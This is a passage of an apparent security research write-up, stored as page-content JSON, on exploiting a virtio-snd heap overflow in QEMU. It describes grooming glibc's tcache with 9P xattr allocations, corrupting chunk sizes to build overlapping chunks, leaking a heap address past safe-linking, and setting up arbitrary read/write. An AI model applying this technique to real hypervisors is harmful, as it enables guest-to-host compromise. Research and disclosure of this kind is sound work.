this:",{"type":19,"tag":2869,"props":126209,"children":126210},{},[126211,126223],{"type":19,"tag":47,"props":126212,"children":126213},{},[126214,126216,126221],{"type":24,"value":126215},"Make ",{"type":19,"tag":27,"props":126217,"children":126219},{"className":126218},[],[126220],{"type":24,"value":125392},{"type":24,"value":126222}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":19,"tag":47,"props":126224,"children":126225},{},[126226,126228,126233,126235,126240,126242,126247],{"type":24,"value":126227},"Prepare a separate region whose sole purpose is to absorb ",{"type":19,"tag":27,"props":126229,"children":126231},{"className":126230},[],[126232],{"type":24,"value":125392},{"type":24,"value":126234},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":19,"tag":27,"props":126236,"children":126238},{"className":126237},[],[126239],{"type":24,"value":125392},{"type":24,"value":126241}," allocations from that separate freelist instead of placing them next to our ",{"type":19,"tag":27,"props":126243,"children":126245},{"className":126244},[],[126246],{"type":24,"value":125399},{"type":24,"value":126248}," chunks.",{"type":19,"tag":16345,"props":126250,"children":126252},{"id":126251},"separating-name-allocations",[126253],{"type":24,"value":126254},"Separating .name allocations",{"type":19,"tag":20,"props":126256,"children":126257},{},[126258,126260,126265,126267,126272],{"type":24,"value":126259},"We chose the second option. However, it is not as simple as issuing ",{"type":19,"tag":27,"props":126261,"children":126263},{"className":126262},[],[126264],{"type":24,"value":125436},{"type":24,"value":126266}," for N ",{"type":19,"tag":27,"props":126268,"children":126270},{"className":126269},[],[126271],{"type":24,"value":125392},{"type":24,"value":126273},"-sized allocations and then freeing them.",{"type":19,"tag":20,"props":126275,"children":126276},{},[126277,126279,126284,126285,126290,126291,126296,126298,126303,126305,126310],{"type":24,"value":126278},"At this point, we already know that ",{"type":19,"tag":27,"props":126280,"children":126282},{"className":126281},[],[126283],{"type":24,"value":125436},{"type":24,"value":126186},{"type":19,"tag":27,"props":126286,"children":126288},{"className":126287},[],[126289],{"type":24,"value":125392},{"type":24,"value":126193},{"type":19,"tag":27,"props":126292,"children":126294},{"className":126293},[],[126295],{"type":24,"value":125399},{"type":24,"value":126297},". If we simply call it with ",{"type":19,"tag":27,"props":126299,"children":126301},{"className":126300},[],[126302],{"type":24,"value":125399},{"type":24,"value":126304}," sized the same as ",{"type":19,"tag":27,"props":126306,"children":126308},{"className":126307},[],[126309],{"type":24,"value":125392},{"type":24,"value":126311},", we get a layout like this:",{"type":19,"tag":158,"props":126313,"children":126315},{"code":126314}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126316],{"type":19,"tag":27,"props":126317,"children":126318},{"__ignoreMap":7},[126319],{"type":24,"value":126314},{"type":19,"tag":20,"props":126321,"children":126322},{},[126323,126325,126330,126332,126338,126340,126346,126348,126353,126355,126360,126362,126367],{"type":24,"value":126324},"With that heap state, issuing a ",{"type":19,"tag":27,"props":126326,"children":126328},{"className":126327},[],[126329],{"type":24,"value":126102},{"type":24,"value":126331}," request would first free ",{"type":19,"tag":27,"props":126333,"children":126335},{"className":126334},[],[126336],{"type":24,"value":126337},".name A",{"type":24,"value":126339}," and then ",{"type":19,"tag":27,"props":126341,"children":126343},{"className":126342},[],[126344],{"type":24,"value":126345},".value A",{"type":24,"value":126347},". When ",{"type":19,"tag":27,"props":126349,"children":126351},{"className":126350},[],[126352],{"type":24,"value":126345},{"type":24,"value":126354}," is freed, the allocator sees that the preceding chunk ",{"type":19,"tag":27,"props":126356,"children":126358},{"className":126357},[],[126359],{"type":24,"value":126337},{"type":24,"value":126361}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":19,"tag":27,"props":126363,"children":126365},{"className":126364},[],[126366],{"type":24,"value":125392},{"type":24,"value":126368},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":19,"tag":20,"props":126370,"children":126371},{},[126372],{"type":24,"value":126373},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":19,"tag":20,"props":126375,"children":126376},{},[126377,126379,126384,126386,126391,126393,126398,126400,126406,126408,126413,126415,126421],{"type":24,"value":126378},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":19,"tag":27,"props":126380,"children":126382},{"className":126381},[],[126383],{"type":24,"value":125392},{"type":24,"value":126385}," allocation remains fixed at size ",{"type":19,"tag":27,"props":126387,"children":126389},{"className":126388},[],[126390],{"type":24,"value":102554},{"type":24,"value":126392},". We first allocate 16 xattrs whose ",{"type":19,"tag":27,"props":126394,"children":126396},{"className":126395},[],[126397],{"type":24,"value":125399},{"type":24,"value":126399}," size is ",{"type":19,"tag":27,"props":126401,"children":126403},{"className":126402},[],[126404],{"type":24,"value":126405},"0x30",{"type":24,"value":126407},". After that, we allocate another 16 xattrs, this time with ",{"type":19,"tag":27,"props":126409,"children":126411},{"className":126410},[],[126412],{"type":24,"value":125399},{"type":24,"value":126414}," size ",{"type":19,"tag":27,"props":126416,"children":126418},{"className":126417},[],[126419],{"type":24,"value":126420},"0x40",{"type":24,"value":126422},", and continue in the same way for each tcache size class.",{"type":19,"tag":20,"props":126424,"children":126425},{},[126426],{"type":24,"value":126427},"This yields the following layout:",{"type":19,"tag":158,"props":126429,"children":126431},{"code":126430}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[126432],{"type":19,"tag":27,"props":126433,"children":126434},{"__ignoreMap":7},[126435],{"type":24,"value":126430},{"type":19,"tag":20,"props":126437,"children":126438},{},[126439,126441,126446,126448,126453,126455,126460,126462,126467,126469,126474,126476,126481,126482,126487,126489,126494,126496,126501,126503,126508,126510,126515,126517,126522],{"type":24,"value":126440},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":19,"tag":27,"props":126442,"children":126444},{"className":126443},[],[126445],{"type":24,"value":125392},{"type":24,"value":126447}," chunks end up in the ",{"type":19,"tag":27,"props":126449,"children":126451},{"className":126450},[],[126452],{"type":24,"value":102554},{"type":24,"value":126454}," tcache bin, along with the interleaved ",{"type":19,"tag":27,"props":126456,"children":126458},{"className":126457},[],[126459],{"type":24,"value":125399},{"type":24,"value":126461}," chunks of size ",{"type":19,"tag":27,"props":126463,"children":126465},{"className":126464},[],[126466],{"type":24,"value":126405},{"type":24,"value":126468},". The next 16 ",{"type":19,"tag":27,"props":126470,"children":126472},{"className":126471},[],[126473],{"type":24,"value":125392},{"type":24,"value":126475}," chunks are interleaved with ",{"type":19,"tag":27,"props":126477,"children":126479},{"className":126478},[],[126480],{"type":24,"value":125399},{"type":24,"value":126461},{"type":19,"tag":27,"props":126483,"children":126485},{"className":126484},[],[126486],{"type":24,"value":126420},{"type":24,"value":126488},"; when freed, those ",{"type":19,"tag":27,"props":126490,"children":126492},{"className":126491},[],[126493],{"type":24,"value":125399},{"type":24,"value":126495}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":19,"tag":27,"props":126497,"children":126499},{"className":126498},[],[126500],{"type":24,"value":125392},{"type":24,"value":126502}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":19,"tag":27,"props":126504,"children":126506},{"className":126505},[],[126507],{"type":24,"value":125392},{"type":24,"value":126509},"-sized chunks that will later be served to the ",{"type":19,"tag":27,"props":126511,"children":126513},{"className":126512},[],[126514],{"type":24,"value":125392},{"type":24,"value":126516}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":19,"tag":27,"props":126518,"children":126520},{"className":126519},[],[126521],{"type":24,"value":125399},{"type":24,"value":126248},{"type":19,"tag":7050,"props":126524,"children":126526},{"id":126525},"corrupting-the-size",[126527],{"type":24,"value":126528},"Corrupting the Size",{"type":19,"tag":20,"props":126530,"children":126531},{},[126532,126534,126539,126541,126546,126548,126553,126555,126560,126561,126566],{"type":24,"value":126533},"The input format is guest-controlled, and we choose ",{"type":19,"tag":27,"props":126535,"children":126537},{"className":126536},[],[126538],{"type":24,"value":828},{"type":24,"value":126540}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":19,"tag":27,"props":126542,"children":126544},{"className":126543},[],[126545],{"type":24,"value":828},{"type":24,"value":126547}," is centered at ",{"type":19,"tag":27,"props":126549,"children":126551},{"className":126550},[],[126552],{"type":24,"value":26910},{"type":24,"value":126554}," (rather than ",{"type":19,"tag":27,"props":126556,"children":126558},{"className":126557},[],[126559],{"type":24,"value":123654},{"type":24,"value":123641},{"type":19,"tag":27,"props":126562,"children":126564},{"className":126563},[],[126565],{"type":24,"value":123632},{"type":24,"value":126567},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":19,"tag":20,"props":126569,"children":126570},{},[126571,126573,126578],{"type":24,"value":126572},"As we already concluded, ",{"type":19,"tag":27,"props":126574,"children":126576},{"className":126575},[],[126577],{"type":24,"value":123097},{"type":24,"value":126579}," is called with the amount:",{"type":19,"tag":158,"props":126581,"children":126583},{"code":126582},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[126584],{"type":19,"tag":27,"props":126585,"children":126586},{"__ignoreMap":7},[126587],{"type":24,"value":126582},{"type":19,"tag":20,"props":126589,"children":126590},{},[126591,126593,126598,126600,126605],{"type":24,"value":126592},"And as mentioned earlier, ",{"type":19,"tag":27,"props":126594,"children":126596},{"className":126595},[],[126597],{"type":24,"value":123128},{"type":24,"value":126599}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":19,"tag":27,"props":126601,"children":126603},{"className":126602},[],[126604],{"type":24,"value":121747},{"type":24,"value":55810},{"type":19,"tag":20,"props":126607,"children":126608},{},[126609,126611,126616,126618,126623],{"type":24,"value":126610},"With the desired heap layout of repeated ",{"type":19,"tag":27,"props":126612,"children":126614},{"className":126613},[],[126615],{"type":24,"value":125301},{"type":24,"value":126617},"-sized ",{"type":19,"tag":27,"props":126619,"children":126621},{"className":126620},[],[126622],{"type":24,"value":125399},{"type":24,"value":126624}," chunks in place, we can then free every other one:",{"type":19,"tag":158,"props":126626,"children":126628},{"code":126627}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[126629],{"type":19,"tag":27,"props":126630,"children":126631},{"__ignoreMap":7},[126632],{"type":24,"value":126627},{"type":19,"tag":20,"props":126634,"children":126635},{},[126636,126638,126643],{"type":24,"value":126637},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":19,"tag":27,"props":126639,"children":126641},{"className":126640},[],[126642],{"type":24,"value":125399},{"type":24,"value":126644}," chunk directly next to it:",{"type":19,"tag":158,"props":126646,"children":126648},{"code":126647}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[126649],{"type":19,"tag":27,"props":126650,"children":126651},{"__ignoreMap":7},[126652],{"type":24,"value":126647},{"type":19,"tag":20,"props":126654,"children":126655},{},[126656,126658,126663,126665,126670],{"type":24,"value":126657},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":19,"tag":27,"props":126659,"children":126661},{"className":126660},[],[126662],{"type":24,"value":125301},{"type":24,"value":126664},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":19,"tag":27,"props":126666,"children":126668},{"className":126667},[],[126669],{"type":24,"value":125399},{"type":24,"value":126671}," chunk now has a corrupted and likely oversized size field:",{"type":19,"tag":158,"props":126673,"children":126675},{"code":126674}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126676],{"type":19,"tag":27,"props":126677,"children":126678},{"__ignoreMap":7},[126679],{"type":24,"value":126674},{"type":19,"tag":20,"props":126681,"children":126682},{},[126683,126685,126690],{"type":24,"value":126684},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":19,"tag":27,"props":126686,"children":126688},{"className":126687},[],[126689],{"type":24,"value":125316},{"type":24,"value":1922},{"type":19,"tag":158,"props":126692,"children":126694},{"code":126693}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[126695],{"type":19,"tag":27,"props":126696,"children":126697},{"__ignoreMap":7},[126698],{"type":24,"value":126693},{"type":19,"tag":20,"props":126700,"children":126701},{},[126702,126704,126709],{"type":24,"value":126703},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":19,"tag":27,"props":126705,"children":126707},{"className":126706},[],[126708],{"type":24,"value":125316},{"type":24,"value":18197},{"type":19,"tag":158,"props":126711,"children":126713},{"code":126712}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[126714],{"type":19,"tag":27,"props":126715,"children":126716},{"__ignoreMap":7},[126717],{"type":24,"value":126712},{"type":19,"tag":20,"props":126719,"children":126720},{},[126721,126723,126729],{"type":24,"value":126722},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":19,"tag":27,"props":126724,"children":126726},{"className":126725},[],[126727],{"type":24,"value":126728},"0x400",{"type":24,"value":126730}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":19,"tag":158,"props":126732,"children":126734},{"code":126733}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[126735],{"type":19,"tag":27,"props":126736,"children":126737},{"__ignoreMap":7},[126738],{"type":24,"value":126733},{"type":19,"tag":7050,"props":126740,"children":126742},{"id":126741},"leaking-a-heap-address",[126743],{"type":24,"value":126744},"Leaking a Heap Address",{"type":19,"tag":20,"props":126746,"children":126747},{},[126748],{"type":24,"value":126749},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":19,"tag":20,"props":126751,"children":126752},{},[126753,126755,126761],{"type":24,"value":126754},"To do this, we abuse the forward (",{"type":19,"tag":27,"props":126756,"children":126758},{"className":126757},[],[126759],{"type":24,"value":126760},"fd",{"type":24,"value":126762},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":19,"tag":158,"props":126764,"children":126766},{"code":126765},"fd = next ^ (curr >> 12)\n",[126767],{"type":19,"tag":27,"props":126768,"children":126769},{"__ignoreMap":7},[126770],{"type":24,"value":126765},{"type":19,"tag":20,"props":126772,"children":126773},{},[126774,126776,126781,126782,126787],{"type":24,"value":126775},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":19,"tag":27,"props":126777,"children":126779},{"className":126778},[],[126780],{"type":24,"value":55049},{"type":24,"value":2934},{"type":19,"tag":27,"props":126783,"children":126785},{"className":126784},[],[126786],{"type":24,"value":51979},{"type":24,"value":126788}," because there is no following entry. In that case, the encoding becomes:",{"type":19,"tag":158,"props":126790,"children":126792},{"code":126791},"fd = 0 ^ (curr >> 12)\n",[126793],{"type":19,"tag":27,"props":126794,"children":126795},{"__ignoreMap":7},[126796],{"type":24,"value":126791},{"type":19,"tag":20,"props":126798,"children":126799},{},[126800,126802,126807],{"type":24,"value":126801},"So if we free a single chunk into an empty tcache bin, its ",{"type":19,"tag":27,"props":126803,"children":126805},{"className":126804},[],[126806],{"type":24,"value":126760},{"type":24,"value":126808}," field is effectively just the chunk address shifted right by 12.",{"type":19,"tag":20,"props":126810,"children":126811},{},[126812],{"type":24,"value":126813},"In the overlap we achieved earlier:",{"type":19,"tag":158,"props":126815,"children":126817},{"code":126816}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[126818],{"type":19,"tag":27,"props":126819,"children":126820},{"__ignoreMap":7},[126821],{"type":24,"value":126816},{"type":19,"tag":20,"props":126823,"children":126824},{},[126825,126827,126833,126835,126841,126843,126849,126851,126856],{"type":24,"value":126826},"We first free ",{"type":19,"tag":27,"props":126828,"children":126830},{"className":126829},[],[126831],{"type":24,"value":126832},".value C",{"type":24,"value":126834}," into tcache and read its contents through the oversized ",{"type":19,"tag":27,"props":126836,"children":126838},{"className":126837},[],[126839],{"type":24,"value":126840},".value Y",{"type":24,"value":126842},". This gives us ",{"type":19,"tag":27,"props":126844,"children":126846},{"className":126845},[],[126847],{"type":24,"value":126848},".value C >> 12",{"type":24,"value":126850},". That is not yet the exact address of ",{"type":19,"tag":27,"props":126852,"children":126854},{"className":126853},[],[126855],{"type":24,"value":126832},{"type":24,"value":126857},", since the lower 12 bits are lost.",{"type":19,"tag":20,"props":126859,"children":126860},{},[126861,126863,126868,126870,126875,126877,126882,126884,126889],{"type":24,"value":126862},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":19,"tag":27,"props":126864,"children":126866},{"className":126865},[],[126867],{"type":24,"value":126832},{"type":24,"value":126869},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":19,"tag":27,"props":126871,"children":126873},{"className":126872},[],[126874],{"type":24,"value":126832},{"type":24,"value":126876}," again. This time, ",{"type":19,"tag":27,"props":126878,"children":126880},{"className":126879},[],[126881],{"type":24,"value":55049},{"type":24,"value":126883}," is no longer ",{"type":19,"tag":27,"props":126885,"children":126887},{"className":126886},[],[126888],{"type":24,"value":51979},{"type":24,"value":126890},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":19,"tag":158,"props":126892,"children":126893},{"code":126765},[126894],{"type":19,"tag":27,"props":126895,"children":126896},{"__ignoreMap":7},[126897],{"type":24,"value":126765},{"type":19,"tag":20,"props":126899,"children":126900},{},[126901,126903,126909,126911,126916,126918,126923,126925,126930],{"type":24,"value":126902},"Since we already know ",{"type":19,"tag":27,"props":126904,"children":126906},{"className":126905},[],[126907],{"type":24,"value":126908},"curr >> 12",{"type":24,"value":126910}," from the first leak, we can read the new ",{"type":19,"tag":27,"props":126912,"children":126914},{"className":126913},[],[126915],{"type":24,"value":126760},{"type":24,"value":126917}," value from ",{"type":19,"tag":27,"props":126919,"children":126921},{"className":126920},[],[126922],{"type":24,"value":126832},{"type":24,"value":126924}," and recover the exact address of ",{"type":19,"tag":27,"props":126926,"children":126928},{"className":126927},[],[126929],{"type":24,"value":55049},{"type":24,"value":126931}," by reversing the XOR:",{"type":19,"tag":158,"props":126933,"children":126935},{"code":126934},"next = fd ^ (curr >> 12)\n",[126936],{"type":19,"tag":27,"props":126937,"children":126938},{"__ignoreMap":7},[126939],{"type":24,"value":126934},{"type":19,"tag":20,"props":126941,"children":126942},{},[126943],{"type":24,"value":126944},"This gives us the exact address of a heap chunk whose contents we control.",{"type":19,"tag":7050,"props":126946,"children":126948},{"id":126947},"arbitrary-read-and-write",[126949],{"type":24,"value":126950},"Arbitrary Read and Write",{"type":19,"tag":20,"props":126952,"children":126953},{},[126954,126956,126961],{"type":24,"value":126955},"Having a controlled chunk at a known address lets us repurpose ",{"type":19,"tag":27,"props":126957,"children":126959},{"className":126958},[],[126960],{"type":24,"value":126832},{"type":24,"value":126962}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":19,"tag":20,"props":126964,"children":126965},{},[126966,126968,126973],{"type":24,"value":126967},"Recall ",{"type":19,"tag":27,"props":126969,"children":126971},{"className":126970},[],[126972],{"type":24,"value":125436},{"type":24,"value":1922},{"type":19,"tag":158,"props":126975,"children":126977},{"code":126976,"language":543,"meta":7,"className":13963,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[126978],{"type":19,"tag":27,"props":126979,"children":126980},{"__ignoreMap":7},[126981,127020,127027,127038,127053,127068,127075,127082,127089,127111,127118,127125,127132,127140,127157,127196,127239,127246],{"type":19,"tag":168,"props":126982,"children":126983},{"class":170,"line":171},[126984,126988,126992,126996,127000,127004,127008,127012,127016],{"type":19,"tag":168,"props":126985,"children":126986},{"style":382},[126987],{"type":24,"value":48527},{"type":19,"tag":168,"props":126989,"children":126990},{"style":382},[126991],{"type":24,"value":48532},{"type":19,"tag":168,"props":126993,"children":126994},{"style":212},[126995],{"type":24,"value":125431},{"type":19,"tag":168,"props":126997,"children":126998},{"style":175},[126999],{"type":24,"value":125436},{"type":19,"tag":168,"props":127001,"children":127002},{"style":212},[127003],{"type":24,"value":500},{"type":19,"tag":168,"props":127005,"children":127006},{"style":382},[127007],{"type":24,"value":49110},{"type":19,"tag":168,"props":127009,"children":127010},{"style":399},[127011],{"type":24,"value":7259},{"type":19,"tag":168,"props":127013,"children":127014},{"style":393},[127015],{"type":24,"value":125453},{"type":19,"tag":168,"props":127017,"children":127018},{"style":212},[127019],{"type":24,"value":557},{"type":19,"tag":168,"props":127021,"children":127022},{"class":170,"line":198},[127023],{"type":19,"tag":168,"props":127024,"children":127025},{"style":212},[127026],{"type":24,"value":8324},{"type":19,"tag":168,"props":127028,"children":127029},{"class":170,"line":415},[127030,127034],{"type":19,"tag":168,"props":127031,"children":127032},{"style":382},[127033],{"type":24,"value":53096},{"type":19,"tag":168,"props":127035,"children":127036},{"style":212},[127037],{"type":24,"value":122089},{"type":19,"tag":168,"props":127039,"children":127040},{"class":170,"line":450},[127041,127045,127049],{"type":19,"tag":168,"props":127042,"children":127043},{"style":212},[127044],{"type":24,"value":125578},{"type":19,"tag":168,"props":127046,"children":127047},{"style":399},[127048],{"type":24,"value":2002},{"type":19,"tag":168,"props":127050,"children":127051},{"style":212},[127052],{"type":24,"value":125587},{"type":19,"tag":168,"props":127054,"children":127055},{"class":170,"line":560},[127056,127060,127064],{"type":19,"tag":168,"props":127057,"children":127058},{"style":212},[127059],{"type":24,"value":125578},{"type":19,"tag":168,"props":127061,"children":127062},{"style":399},[127063],{"type":24,"value":2002},{"type":19,"tag":168,"props":127065,"children":127066},{"style":212},[127067],{"type":24,"value":125603},{"type":19,"tag":168,"props":127069,"children":127070},{"class":170,"line":666},[127071],{"type":19,"tag":168,"props":127072,"children":127073},{"emptyLinePlaceholder":14},[127074],{"type":24,"value":1093},{"type":19,"tag":168,"props":127076,"children":127077},{"class":170,"line":694},[127078],{"type":19,"tag":168,"props":127079,"children":127080},{"style":212},[127081],{"type":24,"value":102288},{"type":19,"tag":168,"props":127083,"children":127084},{"class":170,"line":707},[127085],{"type":19,"tag":168,"props":127086,"children":127087},{"emptyLinePlaceholder":14},[127088],{"type":24,"value":1093},{"type":19,"tag":168,"props":127090,"children":127091},{"class":170,"line":725},[127092,127097,127101,127106],{"type":19,"tag":168,"props":127093,"children":127094},{"style":212},[127095],{"type":24,"value":127096}," file_fidp ",{"type":19,"tag":168,"props":127098,"children":127099},{"style":399},[127100],{"type":24,"value":486},{"type":19,"tag":168,"props":127102,"children":127103},{"style":175},[127104],{"type":24,"value":127105}," get_fid",{"type":19,"tag":168,"props":127107,"children":127108},{"style":212},[127109],{"type":24,"value":127110},"(pdu, fid);\n",{"type":19,"tag":168,"props":127112,"children":127113},{"class":170,"line":746},[127114],{"type":19,"tag":168,"props":127115,"children":127116},{"emptyLinePlaceholder":14},[127117],{"type":24,"value":1093},{"type":19,"tag":168,"props":127119,"children":127120},{"class":170,"line":755},[127121],{"type":19,"tag":168,"props":127122,"children":127123},{"style":212},[127124],{"type":24,"value":102288},{"type":19,"tag":168,"props":127126,"children":127127},{"class":170,"line":1008},[127128],{"type":19,"tag":168,"props":127129,"children":127130},{"emptyLinePlaceholder":14},[127131],{"type":24,"value":1093},{"type":19,"tag":168,"props":127133,"children":127134},{"class":170,"line":1025},[127135],{"type":19,"tag":168,"props":127136,"children":127137},{"style":373},[127138],{"type":24,"value":127139}," /* Make the file fid point to xattr */\n",{"type":19,"tag":168,"props":127141,"children":127142},{"class":170,"line":1042},[127143,127148,127152],{"type":19,"tag":168,"props":127144,"children":127145},{"style":212},[127146],{"type":24,"value":127147}," xattr_fidp ",{"type":19,"tag":168,"props":127149,"children":127150},{"style":399},[127151],{"type":24,"value":486},{"type":19,"tag":168,"props":127153,"children":127154},{"style":212},[127155],{"type":24,"value":127156}," file_fidp;\n",{"type":19,"tag":168,"props":127158,"children":127159},{"class":170,"line":1055},[127160,127164,127168,127172,127176,127180,127184,127188,127192],{"type":19,"tag":168,"props":127161,"children":127162},{"style":393},[127163],{"type":24,"value":125981},{"type":19,"tag":168,"props":127165,"children":127166},{"style":212},[127167],{"type":24,"value":11203},{"type":19,"tag":168,"props":127169,"children":127170},{"style":393},[127171],{"type":24,"value":34457},{"type":19,"tag":168,"props":127173,"children":127174},{"style":212},[127175],{"type":24,"value":948},{"type":19,"tag":168,"props":127177,"children":127178},{"style":393},[127179],{"type":24,"value":125905},{"type":19,"tag":168,"props":127181,"children":127182},{"style":212},[127183],{"type":24,"value":948},{"type":19,"tag":168,"props":127185,"children":127186},{"style":393},[127187],{"type":24,"value":6579},{"type":19,"tag":168,"props":127189,"children":127190},{"style":399},[127191],{"type":24,"value":402},{"type":19,"tag":168,"props":127193,"children":127194},{"style":212},[127195],{"type":24,"value":122089},{"type":19,"tag":168,"props":127197,"children":127198},{"class":170,"line":1064},[127199,127203,127207,127211,127215,127219,127223,127227,127231,127235],{"type":19,"tag":168,"props":127200,"children":127201},{"style":393},[127202],{"type":24,"value":125981},{"type":19,"tag":168,"props":127204,"children":127205},{"style":212},[127206],{"type":24,"value":11203},{"type":19,"tag":168,"props":127208,"children":127209},{"style":393},[127210],{"type":24,"value":34457},{"type":19,"tag":168,"props":127212,"children":127213},{"style":212},[127214],{"type":24,"value":948},{"type":19,"tag":168,"props":127216,"children":127217},{"style":393},[127218],{"type":24,"value":125905},{"type":19,"tag":168,"props":127220,"children":127221},{"style":212},[127222],{"type":24,"value":948},{"type":19,"tag":168,"props":127224,"children":127225},{"style":393},[127226],{"type":24,"value":36627},{"type":19,"tag":168,"props":127228,"children":127229},{"style":399},[127230],{"type":24,"value":402},{"type":19,"tag":168,"props":127232,"children":127233},{"style":175},[127234],{"type":24,"value":121660},{"type":19,"tag":168,"props":127236,"children":127237},{"style":212},[127238],{"type":24,"value":126018},{"type":19,"tag":168,"props":127240,"children":127241},{"class":170,"line":1087},[127242],{"type":19,"tag":168,"props":127243,"children":127244},{"emptyLinePlaceholder":14},[127245],{"type":24,"value":1093},{"type":19,"tag":168,"props":127247,"children":127248},{"class":170,"line":1096},[127249],{"type":19,"tag":168,"props":127250,"children":127251},{"style":212},[127252],{"type":24,"value":102288},{"type":19,"tag":20,"props":127254,"children":127255},{},[127256,127258,127264,127266,127271,127272,127277,127279,127284,127286,127292,127293,127299,127301,127306,127307,127312],{"type":24,"value":127257},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":19,"tag":27,"props":127259,"children":127261},{"className":127260},[],[127262],{"type":24,"value":127263},"V9fsFidState",{"type":24,"value":127265}," object. In other words, if we can place a ",{"type":19,"tag":27,"props":127267,"children":127269},{"className":127268},[],[127270],{"type":24,"value":127263},{"type":24,"value":4758},{"type":19,"tag":27,"props":127273,"children":127275},{"className":127274},[],[127276],{"type":24,"value":126832},{"type":24,"value":127278}," currently sits, the overlapping ",{"type":19,"tag":27,"props":127280,"children":127282},{"className":127281},[],[127283],{"type":24,"value":126840},{"type":24,"value":127285}," chunk can overwrite ",{"type":19,"tag":27,"props":127287,"children":127289},{"className":127288},[],[127290],{"type":24,"value":127291},"V9fsFidState.fs.xattr.value",{"type":24,"value":8436},{"type":19,"tag":27,"props":127294,"children":127296},{"className":127295},[],[127297],{"type":24,"value":127298},"V9fsFidState.fs.xattr.len",{"type":24,"value":127300},". That would immediately give us arbitrary read and write through 